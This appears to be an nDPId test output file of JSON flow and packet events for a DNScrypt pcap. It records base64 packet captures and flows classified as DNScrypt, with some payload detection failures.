+01101{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628565,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcpR5AAL0R55kKAAABKU9FDallAbsCCDEyBsUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":78,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":946739304628,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":43365,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00657{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":628900,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPnjFAADcRIRzR+vEZCgAAAQG7hhQAu13p8VeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} +00658{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":629078,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"ZmZmZmZmRERERERECABFAADPnjJAADcRIRvR+vEZCgAAAQG75+cAu\/wU8ViBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} +00663{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":788094,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSRcYAADIREz0pT0UNCgAAAQG7qlkAvgzwBsCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAA1OqoPAErbOR3M17\/\/Kp81C0M1irw8YLMFAcPIvcR6xyplTIczMGQTrzWWN9IPA9l2Zy1iwuUTL7se0EmV4wWC0NhfmNsLEH2LkBE84etohseSn740G5SsmjVFMMQ1O1aQ2F+Y2wsQfZfU52hX1OdoV9U7yE="} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":45767,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789535,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc6z5AAL0RYcwKAAABMw96+rLHAbsCCHDfxkkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":82,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":45767,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38867,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789547,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc6z8gAL0RfgsKAAABMw96+pfTAbsGBFECxkYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38867,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789570,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ6z8Aub0Rot4KAAABMw96+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":84,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":59709,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789691,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc60AgAL0RfgoKAAABMw96+uk9AbsGBP+VxkgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":59709,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789707,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ60AAub0Rot0KAAABMw96+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":86,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":36668,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789731,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc60FAAL0RYckKAAABMw96+o88AbsCCHDfxkcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":36668,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":39007,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":789776,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc60IgAL0RfggKAAABMw96+phfAbsGBFB4xkQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":946739304789,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":39007,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 